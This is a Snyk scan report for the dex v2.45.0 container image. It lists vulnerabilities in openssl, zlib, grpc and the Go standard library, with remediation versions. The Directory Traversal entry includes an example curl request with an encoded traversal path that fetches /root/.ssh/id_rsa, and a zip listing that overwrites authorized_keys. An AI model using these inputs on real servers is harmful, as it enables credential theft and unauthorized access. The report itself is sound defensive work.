Snyk - Open Source Security

Snyk test report

November 15th 2026, 12:30:28 am (UTC+00:00)

Scanned the following paths:
  • ghcr.io/dexidp/dex:v2.45.0/dexidp/dex (apk)
  • ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5//usr/local/bin/gomplate (gomodules)
  • ghcr.io/dexidp/dex:v2.45.0/dexidp/dex//usr/local/bin/docker-entrypoint (gomodules)
  • ghcr.io/dexidp/dex:v2.45.0/dexidp/dex//usr/local/bin/dex (gomodules)
149 known vulnerabilities
473 vulnerable dependency paths
1192 dependencies

CVE-2026-31789

critical severity
Exploit: Not Defined

  • Package Manager: alpine:3.23
  • Vulnerable module: openssl/libcrypto3
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

Detailed paths

  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

NVD Description

Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine. See How to fix? for Alpine:3.23 relevant fixed versions and status.

Issue summary: Converting an excessively large OCTET STRING value to a hexadecimal string leads to a heap buffer overflow on 32 bit platforms.

Impact summary: A heap buffer overflow may lead to a crash or possibly an attacker controlled code execution or other undefined behavior.

If an attacker can supply a crafted X.509 certificate with an excessively large OCTET STRING value in extensions such as the Subject Key Identifier (SKID) or Authority Key Identifier (AKID) which are being converted to hex, the size of the buffer needed for the result is calculated as multiplication of the input length by 3. On 32 bit platforms, this multiplication may overflow resulting in the allocation of a smaller buffer and a heap buffer overflow.

Applications and services that print or log contents of untrusted X.509 certificates are vulnerable to this issue. As the certificates would have to have sizes of over 1 Gigabyte, printing or logging such certificates is a fairly unlikely operation and only 32 bit platforms are affected, this issue was assigned Low severity.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

Remediation

Upgrade Alpine:3.23 openssl to version 3.5.6-r0 or higher.

References


Incorrect Authorization

critical severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: google.golang.org/grpc
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and google.golang.org/grpc@v1.77.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › google.golang.org/grpc@v1.77.0
  • Introduced through: github.com/dexidp/dex@* › google.golang.org/grpc@v1.79.1

Overview

Affected versions of this package are vulnerable to Incorrect Authorization in the processing of HTTP/2 :path pseudo-headers in handleStream(). An attacker can gain unauthorized access to restricted resources by sending requests with malformed :path headers that omit the leading slash. This is only exploitable if the server uses path-based authorization interceptors, has deny rules that use canonical paths with leading slashes, and has a fallback allow rule in its policy.

Workaround

This vulnerability can be mitigated by adding a validating interceptor that rejects requests with malformed paths, configuring infrastructure (such as reverse proxies) to enforce strict HTTP/2 compliance, or switching to a default-deny authorization policy.

Remediation

Upgrade google.golang.org/grpc to version 1.79.3 or higher.

References


Improper Authentication

critical severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: golang.org/x/net/idna
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/net/idna@v0.48.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/net/idna@v0.48.0
  • Introduced through: github.com/dexidp/dex@* › golang.org/x/net/idna@v0.50.0

Overview

Affected versions of this package are vulnerable to Improper Authentication via the ToASCII and ToUnicode functions. An attacker can bypass hostname validation by submitting Punycode-encoded labels that decode to ASCII-only labels, potentially leading to privilege escalation in applications that rely on these functions for security checks.

Note: The fix depends on the Go toolchain in use having Unicode version 16 or later, which is planned for the 1.27 release.

Remediation

Upgrade golang.org/x/net/idna to version 0.54.0 or higher.

References


Out-of-bounds Write

high severity
Exploit: Not Defined

  • Package Manager: alpine:3.23
  • Vulnerable module: zlib/zlib
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and zlib/zlib@1.3.1-r2

Detailed paths

  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › zlib/zlib@1.3.1-r2
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › zlib/zlib@1.3.1-r2
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › zlib/zlib@1.3.1-r2

NVD Description

Note: Versions mentioned in the description apply only to the upstream zlib package and not the zlib package as distributed by Alpine. See How to fix? for Alpine:3.23 relevant fixed versions and status.

zlib 1.2.11 through 1.3.2 contains a heap buffer overflow: after an underlying write() fails, gz_write() returns without resetting strm.next_in, leaving it pointed at the caller's buffer. A later gz* write call then derives a position from the stale pointer and writes past a heap allocation; any write() failure reaches it, including EPIPE on a blocking descriptor, and in versions before 1.3.1.2 the failed write must be followed by a gzclearerr() call.

Remediation

Upgrade Alpine:3.23 zlib to version 1.3.2-r1 or higher.

References


Resources Downloaded over Insecure Protocol

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

Affected versions of this package are vulnerable to Resources Downloaded over Insecure Protocol.

Go Vulnerability Report:

A malicious module proxy can exploit a flaw in the go command's validation of module checksums to bypass checksum database validation. This vulnerability affects any user using an untrusted module proxy (GOMODPROXY) or checksum database (GOSUMDB). A malicious module proxy can serve altered versions of the Go toolchain. When selecting a different version of the Go toolchain than the currently installed toolchain (due to the GOTOOLCHAIN environment variable, or a go.work or go.mod with a toolchain line), the go command will download and execute a toolchain provided by the module proxy. A malicious module proxy can bypass checksum database validation for this downloaded toolchain. Since this vulnerability affects the security of toolchain downloads, setting GOTOOLCHAIN to a fixed version is not sufficient. You must upgrade your base Go toolchain. The go tool always validates the hash of a toolchain before executing it, so fixed versions will refuse to execute any cached, altered versions of the toolchain. The go tool trusts go.sum files to contain accurate hashes of the current module's dependencies. A malicious proxy exploiting this vulnerability to serve an altered module will have caused an incorrect hash to be recorded in the go.sum. Users who have configured a non-trusted GOPROXY can determine if they have been affected by running "rm go.sum ; go mod tidy ; go mod verify", which will revalidate all dependencies of the current module. The specific flaw in more detail: The go command consults the checksum database to validate downloaded modules, when a module is not listed in the go.sum file. It verifies that the module hash reported by the checksum database matches the hash of the downloaded module. If, however, the checksum database returns a successful response that contains no entry for the module, the go command incorrectly permitted validation to succeed. A module proxy may mirror or proxy the checksum database, in which case the go command will not connect to the checksum database directly. Checksums reported by the checksum database are cryptographically signed, so a malicious proxy cannot alter the reported checksum for a module. However, a proxy which returns an empty checksum response, or a checksum response for an unrelated module, could cause the go command to proceed as if a downloaded module has been validated.

Remediation

Upgrade std/cmd/go to version 1.25.10, 1.26.3 or higher.

References


Directory Traversal

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

Affected versions of this package are vulnerable to Directory Traversal.

Go Vulnerability Report:

The "go tool pack" subcommand (usually used only by the compiler as an internal tool with known-good inputs) does not sanitize output filenames. Extracting a malicious archive file with the "pack" subcommand can write files to arbitrary locations on the filesystem.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
        

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
        2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys
        

Remediation

Upgrade std/cmd/go to version 1.25.10, 1.26.3 or higher.

References


Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/crypto/tls is a Go standard library package std/crypto/tls

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling.

Go Vulnerability Report:

If one side of the TLS connection sends multiple key update messages post-handshake in a single record, the connection can deadlock, causing uncontrolled consumption of resources. This can lead to a denial of service. This only affects TLS 1.3.

Remediation

Upgrade std/crypto/tls to version 1.25.9, 1.26.2 or higher.

References


Denial of Service (DoS)

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/crypto/tls is a Go standard library package std/crypto/tls

Affected versions of this package are vulnerable to Denial of Service (DoS).

Go Vulnerability Report:
Handshake messages, such as KeyUpdate, are always considered as state-advancing, regardless of whether a handshake has been completed or not. As a result, a malicious client can keep sending KeyUpdate messages to force the server to keep performing key derivation operations indefinitely.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade std/crypto/tls to version 1.25.13, 1.26.6, 1.27.0-rc.3 or higher.

References


Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/crypto/x509 is a Go standard library package std/crypto/x509

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling.

Go Vulnerability Report:

Validating certificate chains which use policies is unexpectedly inefficient when certificates in the chain contain a very large number of policy mappings, possibly causing denial of service. This only affects validation of otherwise trusted certificate chains, issued by a root CA in the VerifyOptions.Roots CertPool, or in the system certificate pool.

Remediation

Upgrade std/crypto/x509 to version 1.25.9, 1.26.2 or higher.

References


Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/crypto/x509 is a Go standard library package std/crypto/x509

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling.

Go Vulnerability Report:

(*x509.Certificate).VerifyHostname previously called matchHostnames in a loop over all DNS Subject Alternative Name (SAN) entries. This caused strings.Split(host, ".") to execute repeatedly on the same input hostname. With a large DNS SAN list, verification costs scaled quadratically based on the number of SAN entries multiplied by the hostname's label count. Because x509.Verify validates hostnames before building the certificate chain, this overhead occurred even for untrusted certificates.

Remediation

Upgrade std/crypto/x509 to version 1.25.11, 1.26.4 or higher.

References


Improper Check for Certificate Revocation

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/crypto/x509 is a Go standard library package std/crypto/x509

Affected versions of this package are vulnerable to Improper Check for Certificate Revocation.

Go Vulnerability Report:

On most platforms, Go uses the given system root certificates. However, in some narrower cases, the system trust stores may not be updated without further action. To defend against the narrower set of cases that may remain affected, a denylist was added in crypto/x509 to return an error when calling Verify with any of the known intermediate certificates that are no longer considered to be trustworthy.

Remediation

Upgrade std/crypto/x509 to version 1.26.10, 1.27.3 or higher.

References


Uncontrolled Recursion

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/encoding/asn1 is a Go standard library package std/encoding/asn1

Affected versions of this package are vulnerable to Uncontrolled Recursion.

Go Vulnerability Report:
Enforce a recursion limit in Unmarshal to prevent stack exhaustion when parsing deeply-nested, recursive structures.

Remediation

Upgrade std/encoding/asn1 to version 1.25.13, 1.26.6, 1.27.0-rc.3 or higher.

References


Uncontrolled Recursion

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/encoding/xml is a Go standard library package std/encoding/xml

Affected versions of this package are vulnerable to Uncontrolled Recursion.

Go Vulnerability Report:
Previously, DecodeElement would reset the depth counter causing it to never fire; this could lead to stack exhaustion.

Remediation

Upgrade std/encoding/xml to version 1.25.13, 1.26.6, 1.27.0-rc.3 or higher.

References


Time-of-check Time-of-use (TOCTOU) Race Condition

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/internal/syscall/unix is a Go standard library package std/internal/syscall/unix

Affected versions of this package are vulnerable to Time-of-check Time-of-use (TOCTOU) Race Condition.

Go Vulnerability Report:
On Linux, if the target of Root.Chmod is replaced with a symlink while the chmod operation is in progress, Chmod can operate on the target of the symlink, even when the target lies outside the root. The Linux fchmodat syscall silently ignores the AT_SYMLINK_NOFOLLOW flag, which Root.Chmod uses to avoid symlink traversal. Root.Chmod checks its target before acting and returns an error if the target is a symlink lying outside the root, so the impact is limited to cases where the target is replaced with a symlink between the check and operation.

Remediation

Upgrade std/internal/syscall/unix to version 1.25.9, 1.26.2 or higher.

References


Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/mime is a Go standard library package std/mime

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling.

Go Vulnerability Report:

Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU.

Remediation

Upgrade std/mime to version 1.25.11, 1.26.4 or higher.

References


Double Free

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/net is a Go standard library package std/net

Affected versions of this package are vulnerable to Double Free.

Go Vulnerability Report:

When using LookupCNAME with the cgo DNS resolver, a very long CNAME response can trigger a double-free of C memory and a crash.

Remediation

Upgrade std/net to version 1.25.10, 1.26.3 or higher.

References


Uncaught Exception

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/net is a Go standard library package std/net

Affected versions of this package are vulnerable to Uncaught Exception.

Go Vulnerability Report:

The Dial and LookupPort functions panic on Windows when provided with an input containing a NUL (0).

Remediation

Upgrade std/net to version 1.25.10, 1.26.3 or higher.

References


Infinite loop

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/net/http is a Go standard library package std/net/http

Affected versions of this package are vulnerable to Infinite loop.

Go Vulnerability Report:

When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.

Remediation

Upgrade std/net/http to version 1.25.10, 1.26.3 or higher.

References


Denial of Service (DoS)

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/net/http is a Go standard library package std/net/http

Affected versions of this package are vulnerable to Denial of Service (DoS).

Go Vulnerability Report:
When a server is configured to support unencrypted HTTP/2, it reads a few bytes from each new connection to see if they contain the HTTP/2 client preface. ReadHeaderTimeout is unexpectedly not being applied when doing this.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade std/net/http to version 1.25.13, 1.26.6, 1.27.0-rc.3 or higher.

References


Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/net/mail is a Go standard library package std/net/mail

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling.

Go Vulnerability Report:

Well-crafted inputs reaching ParseAddress, ParseAddressList, and ParseDate were able to trigger excessive CPU exhaustion and memory allocations.

Remediation

Upgrade std/net/mail to version 1.25.10, 1.26.3 or higher.

References


Denial of Service (DoS)

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/net/url is a Go standard library package std/net/url

Affected versions of this package are vulnerable to Denial of Service (DoS).

Go Vulnerability Report:
Previously, resolving relative paths containing parent directory ('..') segments performed string conversions and buffer rewrites on each step, resulting in quadratic time complexity and high memory allocation overhead.Now, path resolution operates on a byte buffer using index-based backtracking for '..' segments, eliminating the quadratic time complexity and significantly reducing memory allocations.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade std/net/url to version 1.25.13, 1.26.6, 1.27.0-rc.3 or higher.

References


Symlink Attack

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and stdlib@1.25.6

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › stdlib@1.25.6
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/os is a Go standard library package std/os

Affected versions of this package are vulnerable to Symlink Attack.

Go Vulnerability Report:
On Unix systems, opening a file in an os.Root improperly follows symlinks to locations outside of the Root when the final path component of the a path is a symbolic link and the path ends in /.For example, 'root.Open("symlink/")' will open "symlink" even when "symlink" is a symbolic link pointing outside of the root.

Remediation

Upgrade std/os to version 1.25.12, 1.26.5, 1.27.0-rc.2 or higher.

References


Uncaught Exception

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/dexidp/dex › /usr/local/bin/docker-entrypoint
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/dexidp/dex@* and stdlib@1.26.0

Detailed paths

  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/crypto/x509 is a Go standard library package std/crypto/x509

Affected versions of this package are vulnerable to Uncaught Exception.

Go Vulnerability Report:
Certificate verification can panic when a certificate in the chain has an empty DNS name and another certificate in the chain has excluded name constraints. This can crash programs that are either directly verifying X.509 certificate chains, or those that use TLS.

Remediation

Upgrade std/crypto/x509 to version 1.26.1 or higher.

References


Improper Certificate Validation

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/dexidp/dex › /usr/local/bin/docker-entrypoint
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/dexidp/dex@* and stdlib@1.26.0

Detailed paths

  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/crypto/x509 is a Go standard library package std/crypto/x509

Affected versions of this package are vulnerable to Improper Certificate Validation.

Go Vulnerability Report:
When verifying a certificate chain which contains a certificate containing multiple email address constraints which share common local portions but different domain portions, these constraints will not be properly applied, and only the last constraint will be considered.

Remediation

Upgrade std/crypto/x509 to version 1.26.1 or higher.

References


Improper Handling of Case Sensitivity

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/dexidp/dex › /usr/local/bin/docker-entrypoint
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/dexidp/dex@* and stdlib@1.26.0

Detailed paths

  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/crypto/x509 is a Go standard library package std/crypto/x509

